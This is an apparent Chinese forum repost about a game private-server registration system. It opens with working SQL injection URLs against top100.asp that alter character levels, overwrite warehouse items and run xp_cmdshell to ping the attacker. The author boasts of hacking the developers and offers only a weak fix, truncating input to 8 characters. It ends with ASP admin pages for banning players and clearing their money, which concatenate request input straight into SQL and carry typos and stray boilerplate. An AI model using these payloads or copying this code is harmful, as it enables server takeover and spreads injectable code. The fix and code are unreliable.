惟我独尊注册系统存在的漏洞及其解决办法


Published:   Comment: No Comments

游戏设置

1》TOP100.ASP存在SQL注入问题:
描叙:SX参数没有过滤
利用:
设置角色数据:
HTTP://SOMEURL.COM/top100.asp?sx=energy;update character set clevel=350 where name='角色名';--

还可以改仓库 (以前不知道谁说的SQL注入不能改仓库)
HTTP://SOMEURL.COM/top100.asp?sx=energy;UPDATE warehouse SET Items = 0x865CC800000000E40000 where AccountID='帐号';--

危害系统:(如果对方用的是SA 那么他死定了)
HTTP://SOMEURL.COM/top100.asp?sx=energy;exec master.dbo.cmdshell 'ping 你的IP';--
如果你的放火墙收到了响应 那么.........

解决方法:
把sx=request("sx")
改为:sx=left(request("sx"),8)

题外话:惟我独尊是一个很阴险的社团.他们受到威胁后是把top100删了,而没有发布更新代码前一段时间我上去把他们黑了
利用的是下面那个漏洞

2>new文件夹下多个文件存在SQL注入问题:
危害:后台密码暴露
利用:比较难 我也比较懒所以不说了

解决方法:不用惟我独尊的注册系统是最好的方法 我认为.呵呵

长话短说,能不能利用就看你的修为了 呵呵!

Asp处罚刷钱者程序
老是在弄总觉得不好,写个管理的。(修正unlock.asp,新加cmm.asp可以一次清某个帐号的所有角色金钱,修改find.asp的一部分)<br>
配合梦之Web的管理程序使用,所有文件放在同一个文件夹即可

    <br>
    
        find.asp 根据帐号查找该帐号的所有角色<br>
        <!--#include file="conn.asp" --><br>
        <!--#include file="top.asp" --><br>
        <br>
        <center><br>
        &nbsp;&nbsp;<table width=778 background="images/top_bg5.gif"><br>
        &nbsp;&nbsp;&nbsp;&nbsp;<tr> <br>
        &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<td align=center><br>
        &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<!--#include file="Atop.asp" --><br>
        <table width=50% align=center border=1 bordercolor="#000000" style="border-collapse: collapse" cellpadding="2" cellspacing="2"><br>
        <tr><br>
        <Td>帐号</td><br>
        
        
        <Td>角色</td><br>
        <Td>金钱</td><br>
        <Td>级别</td><br>
        <Td>状态</td><br>
        <td>操作</td><br>
        </tr><br>
        <%<br>
        <br>
        set rs=server.CreateObject("adodb.recordset")<br>
        sqlstr="select * from Character where AccountID='"&request("nname")&"'"<br>
        rs.open sqlstr,conn,1,1<br>
        if rs.eof or rs.bof then<br>
        response.write "<tr><td colspan=2 align=center>暂时没有记录</td></tr>"<br>
        else<br>
        while not rs.eof<br>
        %><br>
        <tr><br>
        <Td><%=request("nname")%></td><br>
        <td><%=rs("Name")%></td><br>
        <td><%=rs("Money")%></td><br>
        <td><%=rs("cLevel")%></td><br>
        <td><%=rs("CtlCode")%></td><br>
        <td><a href="clearm.asp?nname=<%=rs("Name")%>" target="_blank">清钱</a></td><br> copyright dedecms
        <td><a href="lockrw.asp?nname=<%=rs("Name")%>" target="_blank">封人物</a></td><br>
        </tr><br>
        <%<br>
        rs.movenext<br>
        wend<br>
        end if<br>
        %><br>
        <br>
        </table><br>
        <center><b><font size="2" color="#808000"><a href="cmm.asp?nname=<%=request("nname")%>"&nbsp;&nbsp;target="_blank">该帐号的所有角色金钱清零(不包括仓库)</a></font></b></center><br>
        <form method="POST" action="find.asp"><br>
        请输入要查找的帐号:<input type="text" name="nname" size="20" class=button><br>
        <input type="submit" value="执行" class=button><br>
        </form><br>
        <br>
        
        cm.asp  清钱等处罚
        <!--#include file="conn.asp" -->
        <!--#include file="top.asp" -->
        
        <%
        if request("nname")<>"" then
        set rs1=server.CreateObject("adodb.recordset")
        sqlstr1="select * from Character where Name='"&request("nname")&"'"
        rs1.open sqlstr1,conn,1,3
        if rs1.eof or rs1.bof then
        response.write "<script language=javascript>alert('没有找到角色~请检查输入!');history.back()</script>"
        response.end
        else
        rs1("Money")="0" '金钱清0
        '这里可以加入减经验等处罚
        
        response.write "<center>Ok了"
        end if
        rs1.update
        rs1.close
        end if
        %>
        
        lockrw.asp 封角色
        <!--#include file="conn.asp" -->
        <!--#include file="top.asp" -->
        
        <%
        if request("nname")<>"" then
        set rs1=server.CreateObject("adodb.recordset")
        sqlstr1="select * from Character where Name='"&request("nname")&"'"
        rs1.open sqlstr1,conn,1,3
        if rs1.eof or rs1.bof then
        response.write "<script language=javascript>alert('没有找到角色~请检查输入!');history.back()</script>"
        response.end
        else
        rs1("CtlCode")="9"
        response.write "<center>ok了
        <Br>"
        end if
        rs1.update
        rs1.close
        end if
        %>
        
        
        
        <center>
          <table width=778 background="images/top_bg5.gif">
            <tr>
              <td align=center>
              <!--#include file="Atop.asp" -->
        <table width=50% align=center border=1 bordercolor="#000000" style="border-collapse: collapse" cellpadding="2" cellspacing="2">
        <tr>
        <Td>角色</td>
        <Td>等级</td>
        <Td>帐号</td>
        <td>操作</td>
        </tr>
        <%
        set rs=server.CreateObject("adodb.recordset")
        sqlstr="select * from Character where CtlCode='9'"
        rs.open sqlstr,conn,1,1
        if rs.eof or rs.bof then
        response.write "<tr><td colspan=2 align=center>暂时没有记录</td></tr>"
        else
        while not rs.eof
        %>
        <tr>
        <Td><%=rs("Name")%></td>
        <td><%=rs("cLevel")%></td>
        <td><%=rs("AccountID")%></td>
        <td><a href="unlock.asp?user=<%=rs("Name")%>">解封</a></td>
        </tr>
        <%
        rs.movenext
        wend
        end if
        %>
        </table>
        <form method="POST" action="lockrw.asp">
        请输入要封的角色:<input type="text" name="nname" size="20" class=button>
        <input type="submit" value="封该角色" class=button>
        </form>
        
        unlock.asp  解封角色
        
        <!--#include file="conn.asp" -->
        <!--#include file="top.asp" -->
        
        <%
        if request("user")<>"" then
        set rs1=server.CreateObject("adodb.recordset")
        sqlstr1="select * from Character where Name='"&request("user")&"'"
        rs1.open sqlstr1,conn,1,3
        if rs1.eof or rs1.bof then
        response.write "<script language=javascript>alert('没有找到角色~请检查输入!');history.back()</script>"
        response.end
        else
        rs1("CtlCode")="0"
        response.write "<center><font color=#FFFFFF>=======解除了========</font><br><br>"
        end if
        rs1.update
        rs1.close
        end if
        %>
        <center><input type="button" value="返回角色封停管理" class=button onclick="javascript :location.href='lockrw.asp'">
        
        新加入cmm.asp,一次清理该帐号所有金钱
        
        cmm.asp
        
        <!--#include file="conn.asp" -->
        <!--#include file="top.asp" -->
        
        <center>
          <table width=778 background="images/top_bg5.gif">
            <tr>
              <td align=center>
              <!--#include file="Atop.asp" -->
        <table width=50% align=center border=1 bordercolor="#000000" style="border-collapse: collapse" cellpadding="2" cellspacing="2">
        <tr>
        
        <Td>帐号</td>
        <Td>角色</td> copyright dedecms
        <Td>金钱</td>
        <Td>级别</td>
        <td>状态</td>
        <td>操作结果</td>
        </tr>
        <%
        
        set rs=server.CreateObject("adodb.recordset")
        sqlstr="select * from Character where AccountID='"&request("nname")&"'"
        rs.open sqlstr,conn,1,3
        if rs.eof or rs.bof then
        response.write "<tr><td colspan=2 align=center>找不到改帐号</td></tr>"
        else
        while not rs.eof
        %>
        <%
        rs("Money")="0"
        rs.updata
        %>
        <tr>
        <Td><%=request("nname")%></td>
        <td><%=rs("Name")%></td>
        <td><%=rs("Money")%></td>
        <td><%=rs("cLevel")%></td>
        <td><%=rs("CtlCode")%></td>
        <td>清理完毕</td>
        </tr>
        <%
        rs.movenext
        wend
        end if
        
        rs.close
        %>
        </table>
        <form method="POST" action="cmm.asp">
        请输入要继续处理的帐号:<input type="text" name="nname" size="20" class=button>
        <input type="submit" value="执行" class=button>
        
        
        
        <input type="button" name="close" value="关闭窗口"  onClick="window.close()">
        </form>
none
Last Modified:2023-12-13 01:42:23

我有话说